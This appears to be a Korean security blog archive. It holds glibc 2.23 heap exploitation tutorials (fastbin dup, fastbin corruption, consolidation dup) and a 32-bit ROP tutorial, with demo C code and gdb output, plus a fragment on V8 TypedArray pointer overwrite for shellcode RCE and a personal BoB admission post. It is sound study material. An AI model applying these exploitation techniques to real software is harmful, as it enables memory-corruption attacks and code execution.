AAR_AAW_full_init 함수에 해당하는 부분이다. V8의 JSTypedArray 는 base_pointer 와 external_pointer 값을 들고 있다. 실제 데이터가 쓰여지는 부분은 base_pointer+external_pointer 인데, 이 값은 compressed pointer가 아닌 실제 주소값을 나타낸다. 따라서 external_pointer 값을 바꾸면 원하는 위치에 값을 쓰는 게 가능해진다.

4. RWX 메모리 영역에 코드를 작성한다.

WebAssembly를 사용해 RWX mem page를 만들고, TypedArray의 data_ptr 를 RWX 영역으로 놓은 뒤 해당 위치에 쉘코드를 작성하여 RCE를 할 수 있다.

[Linux] ptmalloc2 Heap Exploitation :: fastbin dup with consolidation

Syine Mineta — Fri, 26 Jun 2020 05:11:29 +0900

* 이 글은 glibc 2.23 기준으로 작성되었습니다.

* 이 글은 glibc의 heap management가 어떻게 동작하는지 알고 있어야 수월하게 읽을 수 있습니다.

* 이 글은 shellphish 팀의 how2heap repository를 참고했습니다.

* 컴파일 command line: gcc test.c -o test -Wl,-z,relro -no-pie -fno-stack-protector -O0 -ggdb

Last update: 6/26/2020

Analysis

malloc_consolidate의 특성을 사용해 동일한 chunk를 두 번 할당받는 기법이다.

_int_malloc에서는 large chunk 에 해당하는 크기의 할당 요청을 받으면 malloc_consolidate를 실행한다.

3436
3437
3438
3439
3440
3441
3442
3443
3444
3445
3446
3447
3448
3449
3450
3451
3452

  /*
     If this is a large request, consolidate fastbins before continuing.
     While it might look excessive to kill all fastbins before
     even seeing if there is space available, this avoids
     fragmentation problems normally associated with fastbins.
     Also, in practice, programs tend to have runs of either small or
     large requests, but less often mixtures, so consolidation is not
     invoked all that often in most programs. And the programs that
     it is called frequently in otherwise tend to fragment.
   */

  else
    {
      idx = largebin_index (nb);
      if (have_fastchunks (av))
        malloc_consolidate (av);
    }
/malloc/malloc.c

주석으로 설명이 되어있긴 하지만, 간략하게 설명하자면 chunk의 단편화 (fragmentation) 을 방지하기 위해, 어느 정도 큰 크기의 할당 요청이 들어오면 fastbin을 전부 병합하는 과정을 거치는 것이다.

이 글의 malloc_consolidate 분석 내용을 요약하면, 다음 위치에 있는 chunk가 top chunk가 아니면 이 chunk를 unsorted bin으로 옮긴다. chunk가 unsorted bin으로 옮겨지고 fastbin이 비워지면, 동일한 chunk를 다시 free해 unsorted bin과 fastbin에 이 chunk를 올려놓을 수 있다. 이후 malloc으로 해당 크기를 두 번 요청하면 둘 다 같은 주소를 반환하게 된다.

실제 동작은 Example 파트에서 설명한다.

Example

0x10 크기 chunk를 2개 만들고, 0x800 크기 할당을 요청해 malloc_consolidate를 실행시킨다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

#include <malloc.h>

int main() {
    void *s1 = malloc(0x10);
    void *s2 = malloc(0x10);

    free(s1);
    malloc(0x800);
    free(s1);

    s1 = malloc(0x10);
    s2 = malloc(0x10);

    return 0;
}

첫 번째 free 이후 main_arena는 아래와 같은 상태가 된다.

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x602000 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x602040 (size : 0x20fc0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0

0x800 크기를 할당하고 나면 특이하게 smallbin에 0x602000의 chunk가 들어가 있는 걸 볼 수 있다.

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x602040 (size : 0x20fc0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x020)  smallbin[ 0]: 0x602000

0x602000을 다시 free 하면, 이 chunk는 fast chunk 크기에 해당하기 때문에 fastbinsY[0] 을 확인하고, 이 리스트가 비어있기 때문에 double free 검사 로직을 우회할 수 있다.

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x602000 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x602850 (size : 0x207b0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x020)  smallbin[ 0]: 0x602000 (invalid memory)

0x602000 chunk가 fastbin에 들어가면서 fd 필드가 0으로 초기화되기 때문에 smallbin으로서 0x602000 chunk는 고장난 상태가 된다.

이 상태에서 malloc을 두 번 실행하면 s1와 s2에는 같은 주소가 할당된다.

gdb-peda$ p s1
$1 = (void *) 0x602010
gdb-peda$ p s2
$2 = (void *) 0x602010

[Linux] ptmalloc2 Heap Exploitation :: fastbin corruption

Syine Mineta — Fri, 26 Jun 2020 01:06:18 +0900

* 이 글은 glibc 2.23 기준으로 작성되었습니다.

* 이 글은 glibc의 heap management가 어떻게 동작하는지 알고 있어야 수월하게 읽을 수 있습니다.

* 이 글은 shellphish 팀의 how2heap repository를 참고했습니다.

* 컴파일 command line: gcc test.c -o test -Wl,-z,relro -no-pie -fno-stack-protector -O0 -ggdb

Last update: 6/26/2020

Analysis

bin 분석글에 fastbin의 구조와 동작을 설명해 두었다.

fastbin corruption은, fastbin의 fd 값을 조작해 원하는 위치에 fast chunk를 할당받는 기법이다.

how2heap에서는 fastbin dup into stack 으로 설명하는데, stack 뿐 아니라 write가 가능한 모든 영역에 chunk를 할당받을 수 있다.

주로 UAF나 fastbin dup을 통해 구현할 수 있다.

아래 코드는 free된 chunk의 fd에 buf의 주소를 쓰고, malloc을 두 번 실행한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14

#include <malloc.h>
#include <stdint.h>

uint8_t buf[0x100];

int main() {
    void *s = malloc(0x10);
    free(s);
    ((uint64_t *)s)[0] = buf;
    s = malloc(0x10);
    s = malloc(0x10);

    return 0;
}

컴파일하고 그대로 실행하면 malloc(): memory corruption (fast) 에러가 발생한다.

syine@minetalinux:~/Desktop/test$ ./test
*** Error in `./test': malloc(): memory corruption (fast): 0x0000000000601070 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f2f813047e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x82651)[0x7f2f8130f651]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f2f81311184]
./test[0x4005ac]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f2f812ad830]
./test[0x400499]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:02 925486                             /home/syine/Desktop/test/test
00600000-00601000 r--p 00000000 08:02 925486                             /home/syine/Desktop/test/test
00601000-00602000 rw-p 00001000 08:02 925486                             /home/syine/Desktop/test/test
01239000-0125a000 rw-p 00000000 00:00 0                                  [heap]
7f2f7c000000-7f2f7c021000 rw-p 00000000 00:00 0 
7f2f7c021000-7f2f80000000 ---p 00000000 00:00 0 
7f2f81077000-7f2f8108d000 r-xp 00000000 08:02 1050426                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f2f8108d000-7f2f8128c000 ---p 00016000 08:02 1050426                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f2f8128c000-7f2f8128d000 rw-p 00015000 08:02 1050426                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f2f8128d000-7f2f8144d000 r-xp 00000000 08:02 1050388                    /lib/x86_64-linux-gnu/libc-2.23.so
7f2f8144d000-7f2f8164d000 ---p 001c0000 08:02 1050388                    /lib/x86_64-linux-gnu/libc-2.23.so
7f2f8164d000-7f2f81651000 r--p 001c0000 08:02 1050388                    /lib/x86_64-linux-gnu/libc-2.23.so
7f2f81651000-7f2f81653000 rw-p 001c4000 08:02 1050388                    /lib/x86_64-linux-gnu/libc-2.23.so
7f2f81653000-7f2f81657000 rw-p 00000000 00:00 0 
7f2f81657000-7f2f8167d000 r-xp 00000000 08:02 1050360                    /lib/x86_64-linux-gnu/ld-2.23.so
7f2f81860000-7f2f81863000 rw-p 00000000 00:00 0 
7f2f8187b000-7f2f8187c000 rw-p 00000000 00:00 0 
7f2f8187c000-7f2f8187d000 r--p 00025000 08:02 1050360                    /lib/x86_64-linux-gnu/ld-2.23.so
7f2f8187d000-7f2f8187e000 rw-p 00026000 08:02 1050360                    /lib/x86_64-linux-gnu/ld-2.23.so
7f2f8187e000-7f2f8187f000 rw-p 00000000 00:00 0 
7ffcd2691000-7ffcd26b2000 rw-p 00000000 00:00 0                          [stack]
7ffcd2774000-7ffcd2777000 r--p 00000000 00:00 0                          [vvar]
7ffcd2777000-7ffcd2779000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Aborted (core dumped)

이 에러를 띄우는 곳은 _int_malloc의 fastbin allocation 부분이다. (3368번째 줄)

3362
3363
3364
3365
3366
3367
3368
3369
3370
3371
3372
3373
3374
3375
3376
3377
3378
3379
3380
3381
3382
3383
3384
3385
3386
3387
3388
3389
3390
3391
3392
3393
3394
3395

  /*
     If the size qualifies as a fastbin, first check corresponding bin.
     This code is safe to execute even if av is not yet initialized, so we
     can try it without checking, which saves some time on this fast path.
   */

  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
      idx = fastbin_index (nb);
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp = *fb;
      do
        {
          victim = pp;
          if (victim == NULL)
            break;
        }
      while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
             != victim);
      if (victim != 0)
        {
          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            {
              errstr = "malloc(): memory corruption (fast)";
            errout:
              malloc_printerr (check_action, errstr, chunk2mem (victim), av);
              return NULL;
            }
          check_remalloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }
/malloc/malloc.c

할당을 요청한 크기에 해당하는 fastbin에서 chunk를 찾는다. (victim) 이 때 victim의 size로 계산한 fastbin index가 실제 fastbin index와 다르면 에러를 낸다.

즉, 할당받고자 하는 위치의 chunk가 올바른 size 필드 값을 갖고 있어야 한다.

Example

다시 예시 코드로 돌아와서, free 후 2번째 malloc을 하기 직전 breakpoint를 설정해 fastbin 상태를 살펴본다.

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x601060 (size error (0x0)) --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x602020 (size : 0x20fe0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
gdb-peda$ p &buf
$1 = (uint8_t (*)[256]) 0x601060 <buf>

fastbin에 buf의 주소 0x601060이 들어가 있는데, chunk의 size 필드의 값이 0이고, 이는 fastbin index로 -2 이다. 실제 index인 0과 다르기 때문에 malloc이 되지 않는 것이다.

buf+0x8 에 값 0x21을 쓰고, fastbin의 fd에 buf+0x10 을 쓰도록 코드를 수정하고 컴파일해서 실행한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

#include <malloc.h>
#include <stdint.h>

uint8_t buf[0x100];

int main() {
    void *s = malloc(0x10);
    free(s);
    *(uint64_t *)s = buf;
    *((uint64_t *)buf + 1) = 0x21uLL;
    s = malloc(0x10);
    s = malloc(0x10);

    return 0;
}

free 이후 malloc에 breakpoint를 설정해 chunk를 할당받기 직전 fastbin을 살펴본다.

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x602000 --> 0x601060 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x602020 (size : 0x20fe0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0

아무 문제 없이 buf의 주소 0x601060이 잘 들어가 있다. malloc 2번 실행 후 s에 buf+0x10 위치를 할당받은 것을 확인할 수 있다.

gdb-peda$ p s
$1 = (void *) 0x601070 <buf+16>

[Linux] ptmalloc2 Heap Exploitation :: fastbin dup

Syine Mineta — Thu, 25 Jun 2020 22:58:05 +0900

* 이 글은 glibc 2.23 기준으로 작성되었습니다.

* 이 글은 glibc의 heap management가 어떻게 동작하는지 알고 있어야 수월하게 읽을 수 있습니다.

* 이 글은 shellphish 팀의 how2heap repository를 참고했습니다.

* 컴파일 command line: gcc test.c -o test -Wl,-z,relro -no-pie -fno-stack-protector -O0 -ggdb

Last update: 6/25/2020

Analysis

malloc을 호출할 때, 같은 주소를 두 번 반환하게 하는 기법이다. 두 포인터가 같은 곳을 가리키고 있기 때문에, 수정되지 말아야 할 데이터를 수정하거나, 접근이 불가능한 데이터를 leak 할 수 있다.

다음과 같이 malloc 후 동일한 chunk를 두 번 free 한다고 가정하자.

1
2
3
4
5
6
7
8
9

#include <malloc.h>

int main() {
    void *s = malloc(0x20);
    free(s);
    free(s);

    return 0;
}

이걸 그대로 컴파일하고 실행하면 아래처럼 double free or corruption (fasttop) 오류 메시지를 남기고 터진다.

syine@minetalinux:~/Desktop/test$ ./test
*** Error in `./test': double free or corruption (fasttop): 0x0000000000f2c010 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f1fc631d7e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f1fc632637a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f1fc632a53c]
./test[0x400594]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f1fc62c6830]
./test[0x400499]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:02 925486                             /home/syine/Desktop/test/test
00600000-00601000 r--p 00000000 08:02 925486                             /home/syine/Desktop/test/test
00601000-00602000 rw-p 00001000 08:02 925486                             /home/syine/Desktop/test/test
00f2c000-00f4d000 rw-p 00000000 00:00 0                                  [heap]
7f1fc0000000-7f1fc0021000 rw-p 00000000 00:00 0 
7f1fc0021000-7f1fc4000000 ---p 00000000 00:00 0 
7f1fc6090000-7f1fc60a6000 r-xp 00000000 08:02 1050426                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f1fc60a6000-7f1fc62a5000 ---p 00016000 08:02 1050426                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f1fc62a5000-7f1fc62a6000 rw-p 00015000 08:02 1050426                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f1fc62a6000-7f1fc6466000 r-xp 00000000 08:02 1050388                    /lib/x86_64-linux-gnu/libc-2.23.so
7f1fc6466000-7f1fc6666000 ---p 001c0000 08:02 1050388                    /lib/x86_64-linux-gnu/libc-2.23.so
7f1fc6666000-7f1fc666a000 r--p 001c0000 08:02 1050388                    /lib/x86_64-linux-gnu/libc-2.23.so
7f1fc666a000-7f1fc666c000 rw-p 001c4000 08:02 1050388                    /lib/x86_64-linux-gnu/libc-2.23.so
7f1fc666c000-7f1fc6670000 rw-p 00000000 00:00 0 
7f1fc6670000-7f1fc6696000 r-xp 00000000 08:02 1050360                    /lib/x86_64-linux-gnu/ld-2.23.so
7f1fc6879000-7f1fc687c000 rw-p 00000000 00:00 0 
7f1fc6894000-7f1fc6895000 rw-p 00000000 00:00 0 
7f1fc6895000-7f1fc6896000 r--p 00025000 08:02 1050360                    /lib/x86_64-linux-gnu/ld-2.23.so
7f1fc6896000-7f1fc6897000 rw-p 00026000 08:02 1050360                    /lib/x86_64-linux-gnu/ld-2.23.so
7f1fc6897000-7f1fc6898000 rw-p 00000000 00:00 0 
7ffc38cf0000-7ffc38d11000 rw-p 00000000 00:00 0                          [stack]
7ffc38dd9000-7ffc38ddc000 r--p 00000000 00:00 0                          [vvar]
7ffc38ddc000-7ffc38dde000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Aborted (core dumped)

_int_free에 fast chunk double free를 검사하는 루틴이 있다. malloc.c 3935번째 줄에서 확인 가능하다.

3928
3929
3930
3931
3932
3933
3934
3935
3936
3937
3938
3939
3940
3941
3942
3943
3944
3945
3946
3947
3948
3949
3950
3951
3952
3953
3954
3955

/* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
mchunkptrold = *fb, old2;
unsignedintold_idx = ~0u;
do
      {
/* Check that the top of the bin is not the record we are going to add
           (i.e., double free).  */
if (__builtin_expect (old == p, 0))
          {
errstr = "double free or corruption (fasttop)";
goto errout;
          }
/* Check that size of fastbin chunk at the top is the same as
           size of the chunk that we are adding.  We can dereference OLD
           only if we have the lock, otherwise it might have already been
           deallocated.  See use of OLD_IDX below for the actual check.  */
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old));
p->fd = old2 = old;
      }
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);

if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0))
      {
errstr = "invalid fastbin entry (free)";
goto errout;
      }
  }
/malloc/malloc.c

old와 p가 같으면 double free로 간주하고 errout으로 점프한다. old는 fastbin의 첫 번째 원소를 나타내기 때문에, 같은 chunk를 연속해서 free 하는 경우에만 에러가 발생한다. 만약 chunk1과 chunk2를 free 한 뒤에 chunk1을 다시 free 한다면, *fb는 chunk2를 나타내기 때문에 해당 조건을 간단하게 우회할 수 있다.

while의 조건식은 race condition을 막기 위한 것으로, single thread라면 while (0) 과 동일한 효과를 가진다.

Example

malloc으로 같은 크기의 chunk를 2개 할당받은 뒤, 첫 번째 chunk를 두 번 free하고 이후 같은 크기로 세 번 malloc을 실행해 chunk를 할당받는다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

#include <malloc.h>

void *chunks[3];

int main() {
    chunks[0] = malloc(0x10);
    chunks[1] = malloc(0x10);

    free(chunks[0]);
    free(chunks[1]);
    free(chunks[0]);

    chunks[0] = malloc(0x10);
    chunks[1] = malloc(0x10);
    chunks[2] = malloc(0x10);

    return 0;
}

세 번의 free가 끝난 시점에서 main_arena의 상태를 확인해 본다.

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x602000 --> 0x602020 --> 0x602000 (overlap chunk with 0x602000(freed) )
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x602040 (size : 0x20fc0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0

0x20 크기의 fastbin에 0x602000이 두 번 들어가있다.

이어서 malloc을 세 번 진행하면, chunk[0]과 chunk[2]에 같은 주소값이 들어간다.

gdb-peda$ p chunks[0]
$1 = (void *) 0x602010
gdb-peda$ p chunks[2]
$2 = (void *) 0x602010

[Linux/x86] Return Oriented Programming (ROP) - x86 32bit

Syine Mineta — Thu, 25 Jun 2020 21:40:45 +0900

* 이 글은 Return Oriented Programming (ROP) 에서 이어지는 글입니다.

* 컴파일 command line: gcc test.c -o test -m32 -Wl,-z,relro -no-pie -fno-pie -fno-stack-protector -mmanual-endbr -O0 -ggdb

Last update: 6/25/2020

cdecl

x86에서 함수는 일반적으로 cdecl 호출 규약을 따른다. 각 인자는 push 명령어로 stack에 저장되며, caller가 stack을 정리한다.

다음 예시를 살펴보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

int function1(int x) {
    return 1;
}

int function2(int x, int y) {
    return 2;
}

int function3(int x, int y, int z) {
    return 3;
}

int function4(int x, int y, int z, int w) {
    return 4;
}

int main() {
    function1(1);
    function2(0x11, 0x12);
    function3(0x21, 0x22, 0x23);
    function4(0x31, 0x32, 0x33, 0x34);
    return 0;
}

gdb-peda$ pd main
Dump of assembler code for function main:
   0x0804919e <+0>:     push   ebp
   0x0804919f <+1>:     mov    ebp,esp
   0x080491a1 <+3>:     push   0x1
   0x080491a3 <+5>:     call   0x8049176 <function1>
   0x080491a8 <+10>:    add    esp,0x4
   0x080491ab <+13>:    push   0x12
   0x080491ad <+15>:    push   0x11
   0x080491af <+17>:    call   0x8049180 <function2>
   0x080491b4 <+22>:    add    esp,0x8
   0x080491b7 <+25>:    push   0x23
   0x080491b9 <+27>:    push   0x22
   0x080491bb <+29>:    push   0x21
   0x080491bd <+31>:    call   0x804918a <function3>
   0x080491c2 <+36>:    add    esp,0xc
   0x080491c5 <+39>:    push   0x34
   0x080491c7 <+41>:    push   0x33
   0x080491c9 <+43>:    push   0x32
   0x080491cb <+45>:    push   0x31
   0x080491cd <+47>:    call   0x8049194 <function4>
   0x080491d2 <+52>:    add    esp,0x10
   0x080491d5 <+55>:    mov    eax,0x0
   0x080491da <+60>:    leave  
   0x080491db <+61>:    ret    
End of assembler dump.

call 실행 이후 esp를 증가시킨다.

최적화 옵션을 끈 상태에서 컴파일하면, 함수는 인자에 접근하기 위해 ebp 레지스터를 사용한다. (최적화 옵션을 키면 esp를 사용한다)

다음 예시로 이 사실을 확인할 수 있다. ebp+0 은 SFP를 가리키며, ebp+4는 RET이다.

1
2
3
4
5
6
7
8

int add(int x, int y) {
    return x+y;
}

int main() {
    add(1, 2);
    return 0;
}

gdb-peda$ pd add
Dump of assembler code for function add:
   0x08049176 <+0>:     push   ebp
   0x08049177 <+1>:     mov    ebp,esp
   0x08049179 <+3>:     mov    edx,DWORD PTR [ebp+0x8]
   0x0804917c <+6>:     mov    eax,DWORD PTR [ebp+0xc]
   0x0804917f <+9>:     add    eax,edx
   0x08049181 <+11>:    pop    ebp
   0x08049182 <+12>:    ret
End of assembler dump.

ROP 32bit :: Basic

ROP로 함수를 1개 호출하는 과정을 살펴보자.

최적화 옵션을 끄면 함수가 인자에 접근하기 위한 기준으로 ebp가 사용된다. 함수 프롤로그 push ebp ; mov ebp, esp 으로 ebp가 기존의 esp가 되기 때문에, 아래처럼 payload를 구성해서 인자를 전달할 수 있다.

아래 코드는 ROP로 write를 사용해 문자열을 출력한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

#include <stdint.h>
#include <unistd.h>

char *buf = "Hello ROP\n";

void function() {
    uint32_t s[1];
    s[2] = write;
    s[3] = 0xAAAAAAAA;
    s[4] = 1;
    s[5] = buf;
    s[6] = 0xA;
}

int main() {
    function();
    return 0;
}

ROP 32bit :: ROP Chain

64bit와 다르게 인자가 stack으로 전달되기 때문에, 함수를 연속해서 호출하려면 esp의 위치를 맞춰 줘야 한다. 이것은 pop [reg] ; ret gadget을 사용해 해결할 수 있다.

아래 그림은 ROP로 인자가 각각 3개, 2개인 함수 2개를 호출하는 것을 도식화한 것이다.

아래 코드는 read로 문자열을 입력받고 printf로 출력한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

#include <stdint.h>
#include <stdio.h>
#include <unistd.h>

char buf[0x10];

void gadget() {
    __asm (
        "pop %ebx\n\t"
        "pop %ecx\n\t"
        "pop %ebp\n\t"
        "ret\n\t"
    );
}

void function() {
    uint32_t s[1];
    s[2] = read;
    s[3] = (uint32_t)gadget + 3;
    s[4] = 0;
    s[5] = buf;
    s[6] = 0x10;
    s[7] = printf;
    s[8] = 0xAAAAAAAA;
    s[9] = "%s\n";
    s[10] = buf;
}

int main() {
    function();
    return 0;
}

Additional ROP Gadgets

32bit에서 gadget의 용도는 오로지 esp를 증가시키는 것이기 때문에, 항상 pop을 쓸 필요는 없다.

rp++으로 gadget 목록을 보면, 다음과 같이 add esp, 0x8 이나 add esp, 0x10 이 보인다. pop 개수가 부족하다면 esp를 증가시켜주는 gadget을 사용해 stack을 정리하는 방법을 사용할 수 있다.

syine@MinetaLinux:~/Desktop/test rp-lin-x86 -r 5 -f ./test | grep "add esp"
0x080492ad: add byte [eax], al ; add esp, 0x08 ; pop ebx ; ret  ;  (1 found)
0x080492a9: add ebx, 0x00002D57 ; add esp, 0x08 ; pop ebx ; ret  ;  (1 found)
0x0804901f: add esp, 0x08 ; pop ebx ; ret  ;  (1 found)
0x080492af: add esp, 0x08 ; pop ebx ; ret  ;  (1 found)
0x0804927d: add esp, 0x0C ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
0x08049122: add esp, 0x10 ; leave  ; ret  ;  (1 found)
0x0804916f: add esp, 0x10 ; leave  ; ret  ;  (1 found)
0x0804901a: sal byte [edx+eax-0x01], 0xFFFFFFD0 ; add esp, 0x08 ; pop ebx ; ret  ;  (1 found)

BoB 9기 최종합격

Syine Mineta — Thu, 25 Jun 2020 04:49:41 +0900

올해로 취약점분석 트랙에 지원해서 최종 합격하게 되었다. 작년에도 이야기는 들었지만 너무 베이스가 없어서 신청할 생각을 하진 못했다. 1년간 많은 것들을 배우고 다시 지원했다.

말하기는 부끄럽지만, 사실 합격은 예상하고 있었다... 다만 내가 정말로 여기에 준비가 된 사람인가에 대해서 의문이 계속 생기긴 했다.

1. 서류

BoB의 서류전형에서, 제출 가능한 항목을 살펴보면 다양한 것들이 있다.

9기 기준으로 다음과 같은 10개의 항목을 기재할 수 있었다.

자격증 / 어학 / 수상경력 / 교육사항 / 보유기술 / 기술발표 / 발표논문 / 취약점 제보이력 / 프로젝트 기술서 / 추천서&포트폴리오

보안에 제대로 입문한지 이제 겨우 1년이 다 되어가는 상황에서 채울 건 하나도 없었고.. (그나마 Incognito CTF 수상경력..) 추천서는 학교에서 멀웨어 분석을 주로 연구하시는 교수님께서 써 주신 것을 냈다. 포트폴리오는 초등학생&중학생 때의 정보올림피아드, 개발 경험과 대학생 때의 CTF 관련 활동을 중점적으로 적어서 제출했다.

위 분야에서 자기가 지원한 트랙과 연결지을 수 있는 경력이 있으면 서류전형은 무난하게 통과할 듯 하다.

스펙을 나열하는 것 외에, 자기소개서와 학습계획서를 작성해야 한다. 자기소개서는 자기소개, 성과 및 사례, 지원동기, 합격 후 포부를 각각 1000자 이내로 써야 하며, 학습계획서는 관심분야, BoB 학습계획, 진로계획을 각각 1000자 이내로 작성해야 한다.

개인적인 의견으로.. 보안은 아직은 마이너한 분야라고 생각하기 때문에, 충분한 관심과 열정이 있다면 unique 하게 내용을 채우는 건 별로 어렵지 않다고 생각한다. 만약 보안에 관심이 없다면 1년이라는 시간을 BoB에 쓰지 말고 다른 곳에 투자하는 게...

BoB에서는 팀별로 프로젝트를 진행하기 때문에, 보안 분야에서 프로젝트로 한 번쯤 진행해 봤으면 하는 것들을 미리 생각해 두고, 관심분야와 학습계획 파트에서 이걸 잘 연결지어서 써 주면 좋은 인상을 남길 수 있을 것 같다.

2. 인적성검사

어릴 때 하던 IQ 테스트 같은 느낌인데 역량껏 하면 된다.

3. 필기시험 (CTF)

이전에는 어땠는지 모르지만 이번에는 트랙별로 시험이 달랐다. (홈페이지 참고) 취약점분석 트랙은 CTF 형식으로 시험이 진행되었다.

CTF 난이도는 어렵지 않았다. 문제 유출이 금지되어 있어서 어떤 문제가 나왔는지 말은 못하겠지만, 시험 시간이 24시간 이었다면 아마 다 풀었을 것 같다. 시간이 부족해서 절반 조금 넘게 풀었다. (7/12)

4. 면접

코로나 때문에 면접도 온라인으로 진행했다. 프로젝트 발표를 하고 싶었지만 3분 자기소개가 끝이어서 좀 아쉬웠다.

BoB가 압박면접으로 유명하다고 들었는데.. 나는 그런 느낌은 못 받았다.

왜 보안이라는 분야에 흥미를 갖고 있는지, 왜 BoB에 지원했는지, 앞으로 어떤 역할을 하고 싶은지, 이 세 주제를 연결짓고, 사례를 몇 가지 들면서 스토리를 풀었다.

자기소개가 끝난 후, 서류에 작성했던 것 (자기소개서, 학습계획서) 를 바탕으로 질문이 들어온다. 만약 자기가 잘 모르는 것을 서류에 쓰면 여기서 칼같이 걸러질 수 있다.

이외에도 면접관 분들께서 질문을 몇 개씩 하는데 침착하게, 아는 범위 내에서 답변했다. (무슨무슨 종류에 해당하는 공격 기법 제시, 진로 계획 설명 등...) 모르는 건 모른다고 해야 한다. 잘 모르는 거 설명하려고 하다가 크리티컬 맞을 수 있다..

KUCIS 우수동아리 시상식에서 봤던 (것 같은) 분이랑 같이 면접을 보게 되서 나름 신선했다. 같이 면접을 봤던 분들 스펙이 상당했는데, 최종합격 리스트를 보니 두 분 다 포함되어 있었다.

Last update: 6/25/2020

Implicit Factoring with Shared MSBs & Middle Bits

Syine Mineta — Tue, 16 Jun 2020 17:01:19 +0900

* PC버전으로 보지 않으면 MathJax 플러그인이 실행되지 않아 expression이 표현되지 않습니다.

이 글은 PKC 2010 ; 13th International Conference on Practice and Theory in Public Key Cryptography 에서 발표된 Jean-Charles Faugère, Raphaël Marinier, Guénaël Renault 의 연구를 번역정리한 것이다.

